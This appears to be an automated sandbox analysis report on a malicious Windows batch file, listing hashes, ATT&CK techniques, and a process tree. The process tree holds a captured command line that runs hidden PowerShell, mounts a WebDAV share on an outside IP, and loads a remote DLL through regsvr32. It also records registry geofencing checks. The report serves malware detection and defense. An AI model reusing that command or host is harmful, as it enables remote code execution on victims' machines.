20834d287a254ff9f87394a71b8205d0875b2f6cc33390c10f4ab723f4e86167

Analysis

max time kernel
140s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2024, 22:14

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General

Target

100654964103132729.bat
Size

16KB
MD5

e77d175a19b553635a918185cd0acecd
SHA1

cde82ac0b289f56da671a67a950feadbcc729656
SHA256

20834d287a254ff9f87394a71b8205d0875b2f6cc33390c10f4ab723f4e86167
SHA512

9d0710204b7e37d4e7607a9799a54e8e36c84a54e60cd5f3949f6c44f09c253d047621150f3cead18f40bb319681cc78c73abf8b9d878a848afe62fe7e438710
SSDEEP

384:nlmy6Lm5fo+LkGEtLuuL7guvEUzJBVNl47HRAP7:noDL+f3LlEtbbvEU1BV747xo7

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
432	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
432	powershell.exe
432	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	432	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4112	wordpad.exe
4112	wordpad.exe
4112	wordpad.exe
4112	wordpad.exe
4112	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1764 wrote to memory of 4112	1764	cmd.exe	85
PID 1764 wrote to memory of 4112	1764	cmd.exe	85
PID 1764 wrote to memory of 432	1764	cmd.exe	87
PID 1764 wrote to memory of 432	1764	cmd.exe	87
PID 432 wrote to memory of 2636	432	powershell.exe	89
PID 432 wrote to memory of 2636	432	powershell.exe	89
PID 432 wrote to memory of 1124	432	powershell.exe	90
PID 432 wrote to memory of 1124	432	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\100654964103132729.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1764
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\32238313189311.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:432
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2636
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\32238313189311.dll
    3⤵
    PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4kbj1qih.a2y.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/432-9-0x000001D538000000-0x000001D538022000-memory.dmp

Filesize
136KB

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